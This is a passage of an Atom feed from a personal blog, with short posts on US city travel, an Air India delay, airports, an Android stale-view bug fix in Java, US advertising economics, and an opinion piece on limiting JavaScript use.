         alt="A nighttime view of downtown Louisville, Kentucky, featuring illuminated city buildings creating a vibrant urban landscape."/> </a>
</figure>

<p>Something that I didn&rsquo;t properly plan for and regret missing is   
    
    
<a href="https://louisvillemegacavern.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mega Cavern</a>.</p>
<figure>
    
    <a href="kentucky-mega-cavern.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="kentucky-mega-cavern.jpg"
         alt="Kentucky Mega Cavern showcases a vast underground space with rock formations and artificial lighting"/> </a>
</figure>

<p>I would recommend combining your trip with a visit to the city of 
<a href="/travel/birmingham-alabama/">Birmingham in Alabama</a> and the city of 
<a href="/travel/nashville-tennessee/">Nashville in Tennessee</a>.</p>
<p>Note:</p>
<ul>
<li>As with most of of the United States, 
<a href="/travel/public-transport-guide/">public transport</a> is sparse and renting a car is the only way to get around.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/kentucky" term="kentucky" label="kentucky"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">A surprisingly positive experience with Air India</title><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="related" type="text/html" title="Sanskrit and Sri Lankan Air Force"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><id>https://ashishb.net/travel/air-india/</id><author><name>Ashish Bhatia</name></author><published>2025-01-04T16:00:46+00:00</published><updated>2025-01-04T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Stranded by a flight delay in Sri Lanka? Discover how Air India turned a frustrating 20-hour wait into a complimentary stay at Taj Samudra and offered timely compensation.</blockquote><p>After an amazing 5-day trip in 
<a href="/travel/sri-lanka-in-5-days/">Sri Lanka</a>, we were to catch a late night Air India flight from Colombo to New Delhi.
The flight was delayed due to an engine malfunction.
First by an hour.
Then another hour.
And four-hours later, when the repair work finished, the flight pilot&rsquo;s shift had already ended!</p>
<p>An emergency flight was planned and it was supposed to arrive 20-hours later!
Air India sent all the passengers to a complimentary all-inclusive stay in Taj Samundra.</p>
<p>We had separate bookings for domestic flights from New Delhi the next day.
And we missed those flights due to this delay.
The Air India ground staff promised that we would be compensated for it.
I had little hopes for that but they indeed asked us for the replacement flight tickets that we booked and the compensation was paid for in a timely fashion.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/air-india" term="air-india" label="Air India"/><category scheme="https://ashishb.net/tag/india" term="india" label="India"/><category scheme="https://ashishb.net/tag/sri-lanka" term="sri-lanka" label="sri-lanka"/></entry><entry><title type="html">Unhospitable Airports</title><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><link href="https://ashishb.net/short-stories/bloody-banana-bread/?utm_source=atom_feed" rel="related" type="text/html" title="Bloody Banana Bread"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><id>https://ashishb.net/short-stories/unhospitable-airports/</id><author><name>Ashish Bhatia</name></author><published>2024-12-28T16:00:39+00:00</published><updated>2024-12-28T16:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Explore travel frustrations at Cairo Airport and beyond, highlighting poor facilities and chaotic processes. Discover why a positive airport experience matters.</blockquote><p>There was no water fountain at the airport. Everyone was expected to buy the overpriced water bottles sold alongside the &ldquo;Save Environment&rdquo; banner. The bathrooms were slightly damp. The AC was only partially working. There wasn&rsquo;t enough space to stand, let alone sit, in the boarding area. The boarding process was haphazard with little information being conveyed about why it was delayed. The restless passengers queued up in multiple lines that merge into each other at various points. Everyone was ready to leave escape.</p>
<p>This was the 
<a href="/travel/egypt/">Cairo Airport</a>. But I had similar experiences in the smaller airports in the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> and 
<a href="/tag/latin-america/">Latin America</a>. The airport is the last point of a traveler&rsquo;s experience. How little the governments think about making it a positive experience is bewildering.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Android: Don't use stale views</title><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/android-stale-views/</id><author><name>Ashish Bhatia</name></author><published>2024-12-23T17:00:44+00:00</published><updated>2024-12-23T17:00:44+00:00</updated><content type="html"><![CDATA[<blockquote>Optimize your Android app&rsquo;s UI performance by inflating views on a background thread. Learn how lifecycle-aware pooling fixes prevent stale view issues.</blockquote><p>In   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MusicSync</a>, one of the views became complex and too slow to be inflated on the UI thread.</p>
<p>So, I decided to do some Pooling around it to inflate it on the background thread and use it on the UI thread.
This made the UI snappier, reducing multiple-second load times when opening some folders.</p>
<p>However, soon I ended up with an edge case where re-opening the activity (and not the app) led to a semi-functional app.
This edge case is hard as it gets triggered only in particular scenarios where the user destroys the activity via swipe up.
At the same time, the app keeps running due to the attached foreground service that&rsquo;s playing the media.
And on activity re-creation, I got stale views!</p>
<p>Once I diagnosed the issue, the fix was simple.
Tie the view&rsquo;s lifecycle to the current Activity&rsquo;s context.
This ensures that you don&rsquo;t get stale views.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#586e75">// Broken code</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">private</span> <span style="color:#268bd2">static</span> <span style="color:#268bd2">final</span> Stack<span style="color:#719e07">&lt;</span>View<span style="color:#719e07">&gt;</span> sMediaFileViewPool <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> Stack<span style="color:#719e07">&lt;&gt;</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Fixed code</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">private</span> <span style="color:#268bd2">static</span> <span style="color:#268bd2">final</span> WeakHashMap<span style="color:#719e07">&lt;</span>Context, Stack<span style="color:#719e07">&lt;</span>View<span style="color:#719e07">&gt;&gt;</span> sMediaFileViewPool <span style="color:#719e07">=</span> <span style="color:#719e07">new</span> WeakHashMap<span style="color:#719e07">&lt;&gt;</span>();</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">USA = Union of Sales and Advertisement</title><link href="https://ashishb.net/finance/usa-union-of-sales-and-advertisement/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/the-land-of-good-deals/?utm_source=atom_feed" rel="related" type="text/html" title="The land of good deals"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/finance/why-there-arent-many-digital-nomads-from-india/?utm_source=atom_feed" rel="related" type="text/html" title="Why there aren't many digital nomads from India"/><link href="https://ashishb.net/finance/inflation/?utm_source=atom_feed" rel="related" type="text/html" title="Inflation, IRS, Credit cards, and Vendors"/><link href="https://ashishb.net/finance/revenue-vs-cost-axis/?utm_source=atom_feed" rel="related" type="text/html" title="Revenue vs Cost Axis"/><id>https://ashishb.net/finance/usa-union-of-sales-and-advertisement/</id><author><name>Ashish Bhatia</name></author><published>2024-12-07T17:00:00+00:00</published><updated>2024-12-07T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why price disparities in the US are so large, from groceries to clothing, and how America&rsquo;s high disposable income fuels a booming advertising industry.</blockquote><p>The price variance one sees in the United States is huge. It is not just that price of &ldquo;organic&rdquo; groceries
can vary up to five times. Even, something as standardized as coke would be sold in a restaurant for 5-10 times
more than the grocery store next door. The same goes for non-perishables like clothes where almost all of them,
despite being manufactured in the same set of factories can have a huge price range.
Sometimes, even the quality is identical.</p>
<p>For example, A t-shirt that costs $5 to manufacture overseas and costs 5$ to reach from an overseas factory
to the store can still be sold by a premium outlet for $50. While a small brand might sell the item for $15.</p>
<p>Since the premium outlet has about $40 margin, it can afford $10 advertisement budget for the same.
Americans have   
    
    
<a href="https://en.wikipedia.org/wiki/Disposable_household_and_per_capita_income?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">huge disposable income</a> compared to other countries.
In other parts of the world, such price variance would never fly off.
So, the advertisement budgets are rather limited.</p>
<p>And that reflects how big the advertising industry is in the US.
About   
    
    
<a href="https://www.statista.com/statistics/186066/employment-in-us-advertising-and-related-services-2008/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">500,000 people</a> are working in the advertisement-related business.
Compared to that, India has only about   
    
    
<a href="https://www.statista.com/statistics/806179/india-number-of-employees-in-the-advertising-industry/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">37,000</a> people employed in the advertisement.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="This American Life"/></entry><entry><title type="html">A day in Nashville, Tennessee</title><link href="https://ashishb.net/travel/nashville-tennessee/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/birmingham-alabama/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Birmingham, Alabama"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Louisville, Kentucky"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><id>https://ashishb.net/travel/nashville-tennessee/</id><author><name>Ashish Bhatia</name></author><published>2024-12-01T16:00:46+00:00</published><updated>2024-12-01T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Tennessee&rsquo;s hidden gems this winter with a day trip to Radnor Lake and The Parthenon. Explore nature and history in one incredible journey.</blockquote><p>While touring 
<a href="/tag/usa/">United States</a>, I ended up in Tennessee.
There isn&rsquo;t a lot to do in Tennessee, especially, during the winters that I visited.
So, here are a few small ideas for a day trip.</p>
<p>I would recommend starting the day with   
    
    
<a href="https://tnstateparks.com/parks/radnor-lake?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rednor Lake State Park</a></p>
<figure>
    
    <a href="rednor-lake-nashville.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="rednor-lake-nashville.jpg"
         alt="Rednor Lake state park"/> </a>
</figure>

<p>Check out   
    
    
<a href="https://www.nashville.gov/departments/parks/parthenon?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Parthenon</a>.
It is a full-scale replica of The Parthenon in Athens, Greece.</p>
<figure>
    
    <a href="the-parthenon-nashville-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="the-parthenon-nashville-2.jpg"
         alt="A full-scale replica of The Parthenon in Nashville, resembling the original in Athens, situated in a park setting with surrounding trees and a clear sky."/> </a>
</figure>

<figure>
    
    <a href="the-parthenon-nashville-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="the-parthenon-nashville-2.jpg"
         alt="A full-scale replica of The Parthenon stands prominently, surrounded by lush green trees, capturing the iconic architectural design of its original in Athens, Greece."/> </a>
</figure>

<p>I would recommend combining your trip with a visit to the city of

<a href="/travel/birmingham-alabama/">Birmingham in Alabama</a> and
the 
<a href="/travel/louisville-kentucky/">city of Louisville located in Kentucky</a>.</p>
<h2 id="note">Note</h2>
<ul>
<li>As with most of the United States, public transport is sparse and renting a car is the only way to get around.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/tennessee" term="tennessee" label="tennessee"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Minimize Javascript in your codebase</title><link href="https://ashishb.net/tech/javascript/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/ads/?utm_source=atom_feed" rel="related" type="text/html" title="In defense of ad-supported products"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/wordpress-to-hugo/?utm_source=atom_feed" rel="related" type="text/html" title="Migrating from WordPress to Hugo"/><link href="https://ashishb.net/tech/llms-great-for-business-but-bad-business/?utm_source=atom_feed" rel="related" type="text/html" title="LLMs: great for business but bad business"/><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="related" type="text/html" title="When to commit Generated code to version control"/><id>https://ashishb.net/tech/javascript/</id><author><name>Ashish Bhatia</name></author><published>2024-11-23T16:00:00+00:00</published><updated>2024-11-23T16:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the complexities of JavaScript, from its varied implementations to the lack of built-in libraries. Learn how to limit its spread effectively.</blockquote><p>Javascript isn&rsquo;t a language. It is just a specification. Well, that&rsquo;s true for many other languages like Python and Java. However, most languages have just one de facto implementation. For example, CPython for Python. Java has two major ones - Oracle&rsquo;s JDK and Google&rsquo;s Android Java. That&rsquo;s not true for Javascript though.</p>
<ol>
<li>Different implementations - All browsers have slightly different implementations of Javascript.
To cover the gaps there are magical libraries called   
    
    
<a href="https://developer.mozilla.org/en-US/docs/Glossary/Polyfill?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Polyfills</a>.
Of course, that doesn&rsquo;t help with the issue of server-side vs client-side Javascript.
All the libraries are on npmjs.com, and it is for you to guess which one works and
the subtle differences due to   
    
    
<a href="https://github.com/mikeal/bent/issues/94?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">security restrictions</a> that are imposed on browser-side JS.</li>
<li>No built-in libraries (batteries) - Unlike Java, Go, Python, etc. Javascript ships
with no batteries included.
So, even for simple tasks like padding, there are   
    
    
<a href="https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">third-party libraries</a>.
The idea that these libraries are not buggy or have security issues is preposterous.
While all projects depend on third-party libraries, Javascript takes it to the next level
due to a lack of batteries.</li>
<li>Server-side Javascript - Node.js&rsquo;s founder has moved to   
    
    
<a href="https://deno.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Deno</a>.
But Deno support is still   
    
    
<a href="https://github.com/jeffijoe/awilix/issues/281?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">poor</a> across libraries.
You will start with Node.js in 2024 and will be forced to migrate in a few years once everyone
moves to Deno.
This reminds me of 
<a href="/programming/python-in-production/">Python</a> of 2015-20 era.
Python 2 was deprecated but Python 3 support was poor. You would write code in Python 2 despite knowing its limited shelf-life.</li>
<li>Single backend frontend codebase - Well, good luck with that.
God forbid if your engineer is lost where the backend Javascript code ends and
the frontend begins leading to leaks of   
    
    
<a href="https://github.com/vercel/next.js/discussions/11106#discussioncomment-2077?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Database credentials</a>.</li>
<li>Typescript - Kotlin is better than Java.
I have heard that Swift is better than Objective-C.
TypeScript isn&rsquo;t better than Javascript though primarily because it is a superset of Javascript.
It is better than Javascript but not the magic bullet.
Further, your gazillion poor-quality Node.js dependencies might still be written in Javascript.</li>
<li>  
    
    
<a href="https://reactjs.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">React</a> - React is the most popular framework.
  
    
    
<a href="https://vuejs.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vue</a>, however, is a better framework that neatly separates Javascript, CSS, and HTML
into three separate sections of the same component definition file.
React, on the other hand, prefers a multi-indented hideous JSX syntax.
I can&rsquo;t imagine why someone feels that HTML embedded inside Javascript is superior.
Further, Vue has batteries like redux, etc. built into it.</li>
</ol>
<p>While Javascript is unavoidable, here&rsquo;s how I think one should try to limit its spread.</p>
<ol>
<li>No Javascript for the backend codebases - My preference is   
    
    
<a href="https://github.com/ashishb/golang-template-repo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Go</a> but even Python is more maintainable.</li>
<li>No 
<a href="/all/react-native/">React Native</a> for mobile</li>
<li>Use Typescript</li>
<li>And if you can, avoid React.   
    
    
<a href="https://www.npmjs.com/package/vue?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vue</a> is much superior but about one-fifth of the market share of   
    
    
<a href="https://www.npmjs.com/package/react?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">React</a>.</li>
<li>Run <code>npm</code> and <code>yarn</code> inside 
<a href="/programming/run-tools-inside-docker/">docker</a> using   
    
    
<a href="https://github.com/ashishb/amazing-sandbox/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amazing Sandbox</a> to ensure safety from supply chain attacks.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">A day in Birmingham, Alabama</title><link href="https://ashishb.net/travel/birmingham-alabama/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/nashville-tennessee/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Nashville, Tennessee"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><link href="https://ashishb.net/travel/louisville-kentucky/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Louisville, Kentucky"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><id>https://ashishb.net/travel/birmingham-alabama/</id><author><name>Ashish Bhatia</name></author><published>2024-11-16T16:00:46+00:00</published><updated>2024-11-16T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Birmingham&rsquo;s rich history: civil rights at the institute, industrial heritage at Sloss Furnaces, and stunning views with Vulcan Park&rsquo;s iconic statue.</blockquote><p>Alabama is a flyover state with historic connections to the civil rights movement of the United States.
I spent a day in Birmingham, Alabama and here&rsquo;s what I would recommend visiting.</p>
<p>Start your day with   
    
    
<a href="https://www.bcri.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Birmingham Civil Right Institute</a> which talks about the race relations and the civil rights movements for the Black citizens.</p>
<p>I would recommend spending an hour or two here.</p>
<figure>
    
    <a href="racial-discrimination-birmingham-alabama.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="racial-discrimination-birmingham-alabama.jpg"
         alt="Racial discrimination in Birmingham, Alabama."/> </a>
</figure>

<p>From here, visit   
    
    
<a href="https://www.slossfurnaces.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sloss Furances</a>, a historic landmark around industrialization of the United States.</p>
<figure>
    
    <a href="Sloss-Furnaces-National-Historic-Landmark.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sloss-Furnaces-National-Historic-Landmark.jpg"
         alt="An industrial site with large, weathered furnaces and smokestacks, representing Sloss Furnaces, a historic landmark significant to U.S. industrialization."/> </a>
</figure>

<p>Finally, end your day with a visit to   
    
    
<a href="https://visitvulcan.com/explore/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vulcan park</a>, the home to world&rsquo;s largest cast iron statue</p>
<figure>
    
    <a href="vulcan-park-birmingham-alabama.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="vulcan-park-birmingham-alabama.jpg"
         alt="Aerial view of Vulcan Park in Birmingham, Alabama, featuring the world&#39;s largest cast iron statue, surrounded by green areas and cityscape in the background."/> </a>
</figure>

<p>I would recommend combining your trip with a visit to the city of 
<a href="/travel/nashville-tennessee/">Nashville in Tennessee</a> and the city of 
<a href="/travel/louisville-kentucky/">Louisville located in Kentucky</a>.</p>
<p>Note:</p>
<ul>
<li>As with most of of the United States, public transport is sparse and renting a car is the only way to get around.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/alabama" term="alabama" label="alabama"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">In defense of ad-supported products</title><link href="https://ashishb.net/tech/ads/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><link href="https://ashishb.net/book-summary/the-start-up-of-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Start-Up of You"/><id>https://ashishb.net/tech/ads/</id><author><name>Ashish Bhatia</name></author><published>2024-11-09T17:00:27+00:00</published><updated>2024-11-09T17:00:27+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how consumer Internet companies profit through subscriptions or ads, why usage-based subscriptions are tricky, and how ads shift wealth among users.</blockquote><p>There are two primary ways to generate income on the consumer Internet: through subscriptions or advertising.
Additionally, unlike the enterprise world, usage-based subscriptions are often hard and confusing for consumers.
So, we end up with 10$ a month all-you-can-eat buffet or we end up with ads.</p>
<p>Now, like it or not, not all users are created equal. Some are more valuable than others.
And these valuable users indirectly pay more than the users with less spending power.
In other words, these users subsidize the product for the less fortunate fellows.
In fact, in some ways, ads are a transfer of wealth from rich to poor users of the same service.
So, next time wonder when people complain about ads, they will always be rich and powerful.
These rich users would prefer a minuscule 10-a-month price instead of being worth thousands,
if not millions, for the advertisers.
And if the product has network effects, like social media, then it is unavoidable for these richer folks.</p>
<p>A corollary to this is why the startups where you can be paid to sell your data don&rsquo;t succeed much.
Statistically speaking, the users who flock to these startups are usually the lower rung of demographics that
an advertiser would be interested in.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/technology" term="technology" label="technology"/></entry><entry><title type="html">Real vs artificial world</title><link href="https://ashishb.net/short-stories/real-vs-artificial-world/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/prague-airport/?utm_source=atom_feed" rel="related" type="text/html" title="At the Prague airport"/><link href="https://ashishb.net/short-stories/illegal-immigrants-in-cairo/?utm_source=atom_feed" rel="related" type="text/html" title="Illegal immigrants to Europe via Cairo"/><link href="https://ashishb.net/short-stories/on-a-bus-with-an-asylee/?utm_source=atom_feed" rel="related" type="text/html" title="On a bus with an asylum seeker"/><link href="https://ashishb.net/short-stories/currency-issues-in-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Currency issues in Argentina"/><id>https://ashishb.net/short-stories/real-vs-artificial-world/</id><author><name>Ashish Bhatia</name></author><published>2024-11-02T17:00:40+00:00</published><updated>2024-11-02T17:00:40+00:00</updated><content 